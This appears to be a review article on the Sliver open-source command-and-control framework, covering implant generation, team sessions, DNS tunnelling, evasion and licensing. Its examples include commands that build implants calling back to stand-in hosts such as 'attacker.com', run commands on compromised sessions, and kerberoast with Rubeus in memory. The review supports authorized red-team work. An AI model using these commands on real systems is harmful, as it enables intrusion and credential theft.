Back to Articles

Sliver: The Open-Source C2 Framework That Generates Cryptographically Unique Implants

[ View on GitHub ]

Sliver: The Open-Source C2 Framework That Generates Cryptographically Unique Implants

Hook

Every implant Sliver generates has its own asymmetric encryption key pair, meaning traditional signature-based detection becomes mathematically impossible—you're not detecting one binary, you're detecting infinite variations.

Context

For decades, red teams and penetration testers relied on Cobalt Strike as the de facto command-and-control framework, despite its $5,000+ price tag and licensing restrictions. Meanwhile, open alternatives like Metasploit focused on exploitation rather than post-exploitation adversary emulation, and tools like Empire gradually lost maintenance momentum. The problem wasn't just cost—it was architectural. Traditional C2 frameworks generated static implants that antivirus vendors could fingerprint once and block everywhere. A single sample submission to VirusTotal would burn your tooling across every engagement.

Bishop Fox released Sliver in 2019 to solve this fundamental problem: how do you build a C2 framework where every generated implant is cryptographically unique? The solution wasn't just obfuscation or polymorphism—it was treating implant generation as a procedural compilation pipeline where each binary gets its own asymmetric key pair baked in at compile time. Combined with Go's cross-compilation capabilities, multiplayer collaboration features, and support for multiple C2 protocols (mTLS, WireGuard, HTTP/S, DNS), Sliver has become the premier open-source adversary emulation framework with over 11,000 GitHub stars.

Technical Insight

Per-Implant Artifacts

Server Components

Generate Command

Invoke Go Compiler

Generate Keys

Embed Config + PubKey

Compile + Obfuscate

mTLS/HTTP/DNS/WG

Encrypted Traffic

Commands & Results

Operator Client

Sliver Server

Implant Generation Pipeline

Curve25519 Key Pair

Unique Go Source

Implant Binary

C2 Infrastructure

System architecture — auto-generated

Sliver's architecture separates three distinct components: the server handles C2 infrastructure and implant generation, the client provides an operator interface, and the implants themselves communicate back through configurable channels. What makes this interesting is the implant generation pipeline. When you generate an implant, Sliver doesn't pull a pre-compiled stub from disk—it invokes the Go compiler with a unique configuration that includes freshly generated Curve25519 key pairs.

Here's what the implant generation process looks like from the operator's perspective:

# Generate a Windows implant with mTLS C2 and custom obfuscation
sliver > generate --mtls example.com:443 --os windows --arch amd64 \
         --format exe --skip-symbols --name custom_implant

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 23s
[*] Implant saved to /root/.sliver/implants/custom_implant.exe

Under the hood, Sliver generates Go source code with embedded configuration and keys, then compiles it. The --skip-symbols flag strips debugging symbols, and the framework applies garble obfuscation to mangle function names and control flow. But the real magic is the cryptographic uniqueness. Each implant's source includes a hardcoded public key that only the server's corresponding private key can decrypt communications from. This means even two implants generated with identical parameters have completely different cryptographic identities.

The multiplayer architecture is equally sophisticated. Multiple operators connect to the same Sliver server using mutual TLS authentication, sharing access to all compromised hosts. The server maintains a persistent database of sessions, credentials, and loot while handling concurrent operator commands:

# Operator 1 connects to team server
sliver-client --config ~/.sliver/configs/team-server.cfg

# List active sessions (sees all team members' implants)
sliver > sessions
ID  Name             Transport  Remote Address       OS/Arch        Last Check-in
1   BORING_PLATYPUS  mtls       192.168.1.50:54321   windows/amd64  12s ago
2   HAPPY_ELEPHANT   http(s)    10.0.0.15:443        linux/amd64    3m ago

# Interact with any session
sliver > use 1
sliver (BORING_PLATYPUS) > execute -o whoami
corp\admin

C2 protocol flexibility is another architectural strength. Sliver supports simultaneous listeners across multiple protocols, and implants can switch between them for resilience. The DNS C2 implementation is particularly clever—it encodes data in DNS queries and uses TXT record responses for commands, appearing as legitimate DNS traffic:

# Start a DNS listener
sliver > dns --domains example.com,backup.example.com --canaries false

# Generate implant with DNS C2 (and HTTP as fallback)
sliver > generate --dns example.com --http attacker.com:443 \
         --os linux --format elf --name dns_implant

The implant will attempt to resolve specially crafted subdomains like [encrypted-data].example.com, allowing C2 traffic to tunnel through corporate DNS servers that might otherwise block direct outbound connections. This protocol flexibility, combined with the procedural generation approach, makes Sliver remarkably difficult to fingerprint at scale.

For post-exploitation, Sliver supports in-memory execution of .NET assemblies via CLR hosting and COFF (Common Object File Format) loaders for Beacon Object Files. This means you can execute tooling like Rubeus or Seatbelt without ever writing files to disk:

sliver (BORING_PLATYPUS) > execute-assembly -i /path/to/Rubeus.exe \
                            kerberoast /outfile:hashes.txt

The framework loads the .NET runtime into the implant's process space, executes the assembly, captures output, and returns it to the operator—all without creating forensic artifacts on disk.

Gotcha

The GPLv3 license is a significant constraint that many organizations overlook. If you modify Sliver's code for a red team engagement and then deliver that modified framework to a client as part of your service, the GPL requires you to provide source code and allow redistribution. This isn't hypothetical—commercial security firms can't build proprietary products on top of Sliver without violating the license. You can use it for engagements, but you can't create closed-source derivatives or embed it in commercial software.

Implant size is another practical limitation. Because Sliver generates full Go binaries with embedded crypto libraries, a basic Windows implant weighs in around 8-12MB even after stripping symbols. Compare this to native C implants that can be under 100KB. In environments with strict application whitelisting or where initial access requires phishing a suspicious executable, that size difference matters. You can compress with UPX or similar packers, but that introduces its own detection signatures. Additionally, while Sliver's obfuscation and per-binary keys help evade signature detection, modern EDR solutions focus on behavioral analysis—process injection, suspicious network patterns, memory manipulation—which Sliver's implants still trigger without careful operational security. You're not getting Cobalt Strike's years of evasion refinement out of the box.

Verdict

Use Sliver if you're conducting authorized red team assessments or penetration tests where you need cross-platform implants, collaborative team features, and flexibility across multiple C2 protocols without licensing costs. It's particularly valuable for organizations building internal security testing capabilities or security researchers who need to study adversary techniques. The procedural generation and cryptographic uniqueness provide genuine operational security advantages over static tooling. Skip it if you need minimal implant sizes for constrained environments, require closed-source commercial licensing for derivative products, or are targeting environments with mature EDR where Go binaries are automatically flagged. Also skip if you're just learning post-exploitation—Metasploit's Meterpreter is more forgiving for beginners. And obviously, only use Sliver for authorized security testing on systems you have explicit permission to assess.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/bishopfox-sliver.svg)](https://starlog.is/api/badge-click/cybersecurity/bishopfox-sliver)